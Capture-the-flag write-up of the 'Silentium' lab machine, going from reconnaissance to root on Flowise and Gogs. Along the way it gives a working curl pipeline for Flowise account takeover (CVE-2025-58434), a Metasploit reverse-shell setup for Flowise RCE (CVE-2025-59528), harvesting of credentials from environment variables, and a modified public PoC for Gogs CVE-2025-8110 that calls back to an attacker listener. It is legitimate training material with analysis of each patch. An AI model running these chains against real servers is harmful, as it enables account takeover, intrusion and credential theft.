1 RECON

1.1 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

Plaintext
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 033771DFEF9C64EFA01CAF726E3629A9
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital & Lending Solutions
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only SSH and HTTP are exposed.

1.2 Web Interface

The target presented as an institutional financial firm offering structured lending, private credit, and bespoke capital solutions.

OSINT against the main website revealed several user identities:

1.3 Subdomain Enumeration

Fuzz vhost with gobuster:

axura@labyrinth:~
$ gobuster vhost -u http://silentium.htb --ad -w /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://silentium.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
staging.silentium.htb Status: 200 [Size: 3142]
Progress: 20000 / 20000 (100.00%)
===============================================================
Finished
===============================================================

The scan surfaced the virtual host staging.silentium.htb, which exposed a Flowise login entry point:


2 WEB

2.1 Flowise

Flowise is an open-source generative AI development platform for building AI agents and LLM workflows through a visual builder.

This class of modern AI backends consistently expands the attack surface, often introducing fragile authentication flows and poorly hardened API endpoints:

2.1.1 CVE-2025-58434

CVE-2025-58434 is a critical Flowise account-takeover issue affecting 3.0.5 and earlier, where the unauthenticated forgot-password endpoint returns a valid password reset tempToken.

CVE Details rates it CVSS 9.8 CRITICAL, because an attacker can request a reset token for another user and then submit it to reset-password.

2.1.1.1 Vulnerability Analysis

In Flowise [email protected], the whitelist marks both password reset endpoints as public, and the API middleware skips auth for whitelisted paths:

TypeScript
'/api/v1/account/forgot-password',
'/api/v1/account/reset-password',

const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
    next()
}

The account routes expose both actions directly:

TypeScript
router.post('/forgot-password', accountController.forgotPassword)
router.post('/reset-password', accountController.resetPassword)

The forgot-password controller returns the service result as JSON:

TypeScript
const data = await accountService.forgotPassword(req.body)
return res.status(StatusCodes.CREATED).json(data)

Inside the forgotPassword service, Flowise looks up the supplied email, creates tempToken, saves it, then returns the full data object:

TypeScript
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
data.user = user
data.user.tempToken = generateTempToken()
data.user.tokenExpiry = tokenExpiry
data.user = await this.userService.saveUser(data.user, queryRunner)

return data

Because the service returns data after mutating data.user, the reset token is exposed in the HTTP response:

JSON
{
  "user": {
    "email": "[email protected]",
    "tempToken": "<leaked-reset-token>"
  }
}

The resetPassword service trusts the supplied email plus tempToken pair before overwriting the password hash:

TypeScript
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (user.tempToken !== data.user.tempToken)
    throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.INVALID_TEMP_TOKEN)

data.user.credential = hash

Exploit logic:

leak a victim's tempToken from forgot-password, then replay it to reset-password with a new password.

The 3.0.6 patch changes the sensitive return value:

Diff
- return data
+ return sanitizeUser(data.user)

The fix keeps reset tokens server-side and returns a sanitized user object instead.

2.1.1.2 User Enumeration

For proof of concept, I attempted a password reset against a random account via the /forgot-password endpoint:

The application returned a clear-text response "User Not Found", which acted as an oracle for username enumeration.

At this point, a dictionary-based brute force using BurpSuite Intruder would work. However, from section 1.3, we had already identified several internal users. One of them was ben, the head of financial systems:

We verified that the username existed and confirmed it was the web admin for Flowise:

Then extract the tempToken from the response, noting that it had a short expiration window controlled by the tokenExpiry property.

2.1.1.3 Password Reset

The exposed plain-text tempToken is normally delivered to the user via email and is required by the /reset-password endpoint:

Due to the short expiration window, we could chain the entire password reset flow into a single pipeline to capture and reuse the token before it expired:

Bash
host="http://staging.silentium.htb"
email="[email protected]"
pass='4xura.com/SPONSOR'

curl -s -X POST "$host/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d "{\"user\":{\"email\":\"$email\"}}" \
| jq -r '.user.tempToken' \
| xargs -I TOKEN curl -i -X POST "$host/api/v1/account/reset-password" \
  -H "Content-Type: application/json" \
  -d "{\"user\":{\"email\":\"$email\",\"tempToken\":\"TOKEN\",\"password\":\"$pass\"}}"

This captured the leaked token and immediately replayed it against the reset endpoint before expiry.

With the password successfully reset, authenticate as [email protected] and gain access to the Flowise interface:

2.1.2 CVE-2025-59528

CVE-2025-59528 is a another critical Flowise remote code execution issue, where the CustomMCP node evaluates user-controlled configuration through JavaScript Function().

The bug runs with full Node.js privileges, making modules like child_process and fs reachable; CVE Details marks it CVSS 10.0 CRITICAL and notes the fix in 3.0.6.

2.1.2.1 Vulnerability Analysis

In Flowise [email protected], commit ba6a602cbe87d9f55c9ee6aebb6407ec2f2066b5, the main router mounts a node-load endpoint and its child router accepts dynamic node names:

TypeScript
router.use('/node-load-method', nodeLoadMethodRouter)
router.post(['/', '/:name'], nodesRouter.getSingleNodeAsyncOptions)

The node service then resolves the node by URL name and calls the requested load method from the request body:

TypeScript
const nodeInstance = appServer.nodesPool.componentNodes[nodeName]
const methodName = nodeData.loadMethod || ''
await nodeInstance.loadMethods![methodName]!.call(nodeInstance, nodeData, ...)

For customMCP with loadMethod=listActions, the CustomMCP node passes request data into getTools:

TypeScript
listActions: async (nodeData, options) => {
    const toolset = await this.getTools(nodeData, options)
}

Combining the dynamic route with the method dispatcher gives an attacker control over the node name, load method, and config field:

HTTP
POST /api/v1/node-load-method/customMCP

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

Inside getTools, the MCP config field is read directly from nodeData.inputs:

TypeScript
const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

The parser path then tries to convert that string into valid JSON:

TypeScript
const substitutedString = substituteVariablesInString(mcpServerConfig, sandbox)
const serverParamsString = convertToValidJSONString(substitutedString)
serverParams = JSON.parse(serverParamsString)

The vulnerable normalizer uses JavaScript evaluation as the conversion step:

TypeScript
function convertToValidJSONString(inputString: string) {
    const jsObject = Function('return ' + inputString)()
    return JSON.stringify(jsObject, null, 2)
}

Because the normalizer concatenates inputString into a new function body, even a config-looking JavaScript expression runs before JSON.parse sees the result:

TypeScript
{
  "command": (() => {
    /* JavaScript runs here on the server */
    return "node"
  })(),
  "args": []
}

Root cause: config parsing evaluates attacker-controlled JavaScript first, then serializes the returned object as JSON; the 3.0.6 patch replaces evaluation with data parsing:

Diff
- const jsObject = Function('return ' + inputString)()
+ const jsObject = JSON5.parse(inputString)

The patch removes JavaScript evaluation and parses the config as data.

2.1.2.2 Remote Code Execution

After stealilng the Ben account from section 2.1.1.3, we can exploit CVE-2025-59528 with the Metasploit module:

axura@labyrinth:~
$ msfconsole -q
[*] Starting persistent handler(s)...
msf > use exploit/multi/http/flowise_js_rce
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
[*] No encoder configured, defaulting to x64/zutto_dekiru
msf exploit(multi/http/flowise_js_rce) > options

Module options (exploit/multi/http/flowise_js_rce):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   FLOWISE_EMAIL                      no        Flowise email for JWT auth (required for versions >= 3.0.1)
   FLOWISE_PASSWORD                   no        Flowise password (JWT for >= 3.0.1, Basic Auth for < 3.0.1)
   FLOWISE_USERNAME                   no        Flowise username for Basic Auth (required if env var is set)
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             3000             yes       The target port (TCP)
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                              no        HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix/Linux Command

Setup the exploit stages in MSF:

MSF
use exploit/multi/http/flowise_js_rce
set FLOWISE_EMAIL [email protected]
set FLOWISE_PASSWORD '4xura.com/SPONSOR'
set RHOSTS staging.silentium.htb
set RPORT 80
set PAYLOAD cmd/unix/reverse_netcat
set ENCODER generic/none
set LHOST tun0
set LPORT 4444
run -j

This payload returned a shell from 10.129.78.103 to 10.10.13.68:4444.

axura@labyrinth:~
$ msfconsole -q
msf > use exploit/multi/http/flowise_js_rce
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
[*] No encoder configured, defaulting to x64/zutto_dekiru
msf exploit(multi/http/flowise_js_rce) > set FLOWISE_EMAIL [email protected]
FLOWISE_EMAIL => [email protected]
msf exploit(multi/http/flowise_js_rce) > set FLOWISE_PASSWORD 4xura.com/SPONSOR
FLOWISE_PASSWORD => 4xura.com/SPONSOR
msf exploit(multi/http/flowise_js_rce) > set RHOSTS staging.silentium.htb
RHOSTS => staging.silentium.htb
msf exploit(multi/http/flowise_js_rce) > set RPORT 80
RPORT => 80
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/reverse_netcat
PAYLOAD => cmd/unix/reverse_netcat
msf exploit(multi/http/flowise_js_rce) > set ENCODER generic/none
ENCODER => generic/none
msf exploit(multi/http/flowise_js_rce) > set LHOST tun0
LHOST => tun0
msf exploit(multi/http/flowise_js_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/flowise_js_rce) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(multi/http/flowise_js_rce) >
[*] Started reverse TCP handler on 10.10.13.68:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.5
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.6) (auth required)
[+] Authentication successful
[*] Command shell session 1 opened (10.10.13.68:4444 -> 10.129.78.103:40373) at 2026-04-11 21:37:31 -0700

msf exploit(multi/http/flowise_js_rce) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               10.10.13.68:4444 -> 10.129.78.103:40373 (10.129.78.103)

But the stdin seemed broken in the reverse shell, so we can either run commands with the session like:

MSF
sessions -i 1 -c id

Or upgrade the session to Meterpreter via -u command:

axura@labyrinth:~
msf exploit(multi/http/flowise_js_rce) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.13.68:4433
[*] Sending stage (1062760 bytes) to 10.129.78.103
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(multi/http/flowise_js_rce) > [*] Meterpreter session 2 opened (10.10.13.68:4433 -> 10.129.78.103:36448) at 2026-04-11 21:47:49 -0700

[*] Stopping exploit/multi/handler

msf exploit(multi/http/flowise_js_rce) > sessions

Active sessions
===============

  Id  Name  Type                   Information          Connection
  --  ----  ----                   -----------          ----------
  1         shell cmd/unix                              10.10.13.68:4444 -> 10.129.78.103:46055 (10.129.78.103)
  2         meterpreter x86/linux  root @ c78c3cceb7ba  10.10.13.68:4433 -> 10.129.78.103:36448 (::1)

msf exploit(multi/http/flowise_js_rce) > sessions 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : c78c3cceb7ba
OS           :  (Linux 6.8.0-107-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >

Gained web root in the docker container.


3 USER

3.1 Container Enumeration

Meterpreter reported root @ c78c3cceb7ba, indicating root access inside the Flowise Docker container, not the host.

Environment enumeration:

axura@labyrinth:~
msf exploit(multi/http/flowise_js_rce) > sessions -i 2 -c env
[*] Running 'env' on meterpreter session 2 (::1)
USER=root
SHLVL=1
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
LANG=C
PWD=/root/.flowise
msf exploit(multi/http/flowise_js_rce) > sessions -i 1 -c env
[*] Running 'env' on shell session 1 (10.129.78.103)
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
[email protected]
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

msf exploit(multi/http/flowise_js_rce) >

Plain-text credentials were exposed:

  • Flowise password: F1l3_d0ck3r
  • SMTP password: r04D!!_R4ge

3.2 Password Reuse

The leaked SMTP_PASSWORD mapped directly to the host account for ben:

axura@labyrinth:~
$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
ben@silentium:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
ben@silentium:~$ cat user.txt
a******************************4

The credential pair ben:r04D!!_R4ge granted SSH access at the host level. User flag captured.


4 ROOT

4.1 Local Enumeration

ben has no sudo rights, so the next attack surface is localhost-only services:

axura@labyrinth:~
ben@silentium:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on silentium.
ben@silentium:~$ netstat -lantp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:37631         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8025          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:1025          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -
tcp        0      1 10.129.78.103:48594    8.8.8.8:53              SYN_SENT    -
tcp        0   1096 10.129.78.103:22       10.10.13.68:46408       ESTABLISHED -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Multiple services were bound to 127.0.0.1, exposing an internal attack surface not reachable externally.

Port 3000 hosted that Flowise instance, while 3001 exposed a Gogs service:

axura@labyrinth:~
ben@silentium:~$ curl http://127.0.0.1:3001 | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  80<!DOCTYPE html>  0     0      0      0 --:--:-- --:--:-- --:--:--     0
49<html>
  <head data-suburl="">
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
0    <meta http-equiv="X-UA-Compatible" content="IE=edge"/>

         <meta name="author" content="Gogs" />
8        <meta name="description" content="Gogs is a painless self-hosted Git service" />
0        <meta name="keywords" content="go, git, self-hosted, gogs">
4    
9    0     0  1255k      0 --:--:-- --:--:-- --:--:-- 1310k
curl: Failed writing body
ben@silentium:~$ ps -ef | grep gogs
root        1513       1  0 01:21 ?        00:00:04 /opt/gogs/gogs/gogs web
ben        33420   30754  0 06:05 pts/0    00:00:00 grep --color=auto gogs

4.2 Gogs

Gogs is a lightweight self-hosted Git service written in Go, commonly used to host private repositories with SSH, HTTP, HTTPS, web UI, users, organizations, issues, pull requests, hooks, and a bundled REST API; here it runs locally as root on 127.0.0.1:3001 with version 0.13.3.

axura@labyrinth:~
ben@silentium:~$ ls /opt -l
total 8
drwx--x--x 4 root root 4096 Apr  8 09:41 containerd
drwxr-xr-x 6 root root 4096 Apr  8 09:41 gogs
ben@silentium:~$ /opt/gogs/gogs/gogs --help
NAME:
   Gogs - A painless self-hosted Git service

USAGE:
   gogs [global options] command [command options] [arguments...]

VERSION:
   0.13.3

COMMANDS:
   web      Start web server
   serv     This command should only be called by SSH shell
   hook     Delegate commands to corresponding Git hooks
   cert     Generate self-signed certificate
   admin    Perform admin operations on command line
   import   Import portable data as local Gogs data
   backup   Backup files and database
   restore  Restore files and database from backup
   help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --help, -h     show help
   --version, -v  print the version

A straight forward prives vector.

4.2.1 CVE-2025-8110

CVE-2025-8110 is an authenticated Gogs RCE caused by improper symbolic-link handling in the PutContents API; Wiz Research describes it as a bypass of the older CVE-2024-55947 path-traversal fix, affecting Gogs <= 0.13.3 and fixed in 0.13.4.

Exploit logic:

Concept
create repo 
    -> 
commit symlink 
    -> 
use PutContents on symlink 
    -> 
overwrite .git/config 
    -> 
trigger sshCommand

The target ran 0.13.3, matching the vulnerable range.

4.2.1.1 Vulnerability Analysis

In the vulnerable v0.13.3 API router, authenticated repository API traffic exposes PUT /repos/:username/:reponame/contents/*:

Go
m.Group("/contents", func() {
    m.Combo("/*").Put(bind(repo.PutContentsRequest{}), repo.PutContents)
})

The PutContents handler decodes attacker-controlled file content, cleans only the path string, then forwards both to UpdateRepoFile:

Go
content, err := base64.StdEncoding.DecodeString(r.Content)
treePath := pathutil.Clean(c.Params("*"))
err = c.Repo.Repository.UpdateRepoFile(...)

Inside UpdateRepoFile, Gogs joins the cleaned tree path into the local checkout and writes directly to that path:

Go
filePath := path.Join(localPath, opts.NewTreeName)
os.WriteFile(filePath, []byte(opts.Content), 0600)

The same function only checks whether the final filePath is itself a symlink in some branches, but the API call does not set IsNewFile, so that guard can be skipped:

Go
if opts.IsNewFile {
    if osutil.IsSymlink(filePath) {
        return fmt.Errorf("cannot update symbolic link")
    }
}

The IsSymlink helper checks one path only with Lstat; it does not reject a symlink already committed into the path hierarchy:

Go
fileInfo, err := os.Lstat(path)
return fileInfo.Mode()&os.ModeSymlink != 0

So a repository file named link can point to .git/config, and the API write to contents/link follows the symlink target instead of staying inside normal repository contents.

The 0.13.4 patch fixes the root issue by rejecting updates when any path component resolves through a symlink:

Go
if hasSymlinkInPath(localPath, opts.TreePath) {
    return errors.New("cannot update file with symbolic link in path")
}

Root cause: path traversal was cleaned syntactically, but symlink traversal was not resolved semantically before the API file write.

4.2.1.2 Tunneling

Before exploitation, forward the internal service to a reachable interface:

Bash
ssh -L 3001:127.0.0.1:3001 [email protected]
# r04D!!_R4ge

This exposes the locally bound 3001 port, allowing direct interaction with the Gogs service.

A new account can then be registered, followed by authentication into Gogs:

4.2.1.3 PoC

A public PoC was found to exploit the CVE. Download:

Bash
wget https://raw.githubusercontent.com/zAbuQasem/gogs-CVE-2025-8110/main/CVE-2025-8110.py

However, it auto-registers a hardcoded user before exploitation:

Python
username = "zAbuQasem"
password = "SuperSecurePass123!"

register(session, args.url, username, password)
login(session, args.url, username, password)
token = get_application_token(session, args.url)

Registration would fail on this target because Gogs enables captcha, so we use the account created through the web UI and remove the register() call:

Python
"""
self created account
"""
username = "test"
password = "test"

# register(session, args.url, username, password)
login(session, args.url, username, password)
token = get_application_token(session, args.url)
...

The remaining exploit chain stayed unchanged: create repo, push symlink, overwrite .git/config, then trigger sshCommand.

Then run the tuned PoC script agains the target:

axura@labyrinth:~
$ vim CVE-2025-8110.py
$ python CVE-2025-8110.py -h
usage: CVE-2025-8110.py [-h] -u URL -lh HOST -lp PORT [-x]

options:
  -h, --help        show this help message and exit
  -u, --url URL     Gogs base URL
  -lh, --host HOST  Attacker host
  -lp, --port PORT  Attacker port
  -x, --proxy       Use proxy
$ python CVE-2025-8110.py -u http://127.0.0.1:3001 -lh "$attackerIp" -lp 60001
[+] Authenticated successfully
Token generation status: 200
[+] Application token: 996bc4a570c316108f63f22f3790c7eaefa0deae
Repo creation status: 201
Cloning into '/tmp/b30491536451'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 248 bytes | 248.00 KiB/s, done.
[master 786757d] Add malicious symlink
 1 file changed, 1 insertion(+)
 create mode 120000 malicious_link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 299 bytes | 299.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://127.0.0.1:3001/test/b30491536451.git
   6de8b4f..786757d  master -> master
[+] Exploit sent, check your listener!

A reverse shell then landed on the pre-staged listener:

axura@labyrinth:~
$ rlwrap nc -lnvp 60001
Connection from 10.129.78.103:60542
bash: cannot set terminal process group (1513): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# whoami
whoami
root
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/1# cat /root/root.txt
cat /root/root.txt
1**********************************b

Rooted.